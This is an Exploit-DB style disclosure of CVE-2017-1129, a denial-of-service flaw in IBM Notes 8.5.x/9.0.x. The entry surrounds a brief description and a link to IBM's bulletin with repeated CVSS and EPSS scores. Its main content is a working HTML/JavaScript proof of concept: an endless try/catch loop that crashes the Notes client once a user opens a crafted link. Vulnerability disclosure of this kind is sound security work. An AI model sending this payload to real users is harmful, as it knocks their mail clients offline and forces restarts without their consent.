Dhiraj MishraEDB-ID:42602IBM Notes 8.5.x/9.0.x - Denial of Service
4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:N/I:N/A:P
6.5 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
6.5 Medium
AI Score
Confidence
High
0.906 High
EPSS
Percentile
98.8%
# Exploit Title: IBM Notes is affected by a denial of service vulnerability
# Date: 31 August 2017
# Software Link: https://www-01.ibm.com/support/docview.wss?uid=swg24037141
# Exploit Author: Dhiraj Mishra
# Contact: http://twitter.com/mishradhiraj_
# Website: http://datarift.blogspot.in/
# CVE: CVE-2017-1129
# Category: IBM Notes (Console Application)
1. Description
IBM Notes is vulnerable to a denial of service involving persuading a user to click on a malicious link, which would ultimately cause the client to have to be restarted.
2. Proof of concept
<html><head><title></title>
<script type="text/javascript">
while (true) try {
var object = { };
function g(f0) {
var f0 = (object instanceof encodeURI)('foo');
}
g(75);
} catch (g) { }
</script>
</head></html>
3. IBM Security Bulletin
www-01.ibm.com/support/docview.wss?uid=swg21999385Related
4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:N/I:N/A:P
6.5 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
6.5 Medium
AI Score
Confidence
High
0.906 High
EPSS
Percentile
98.8%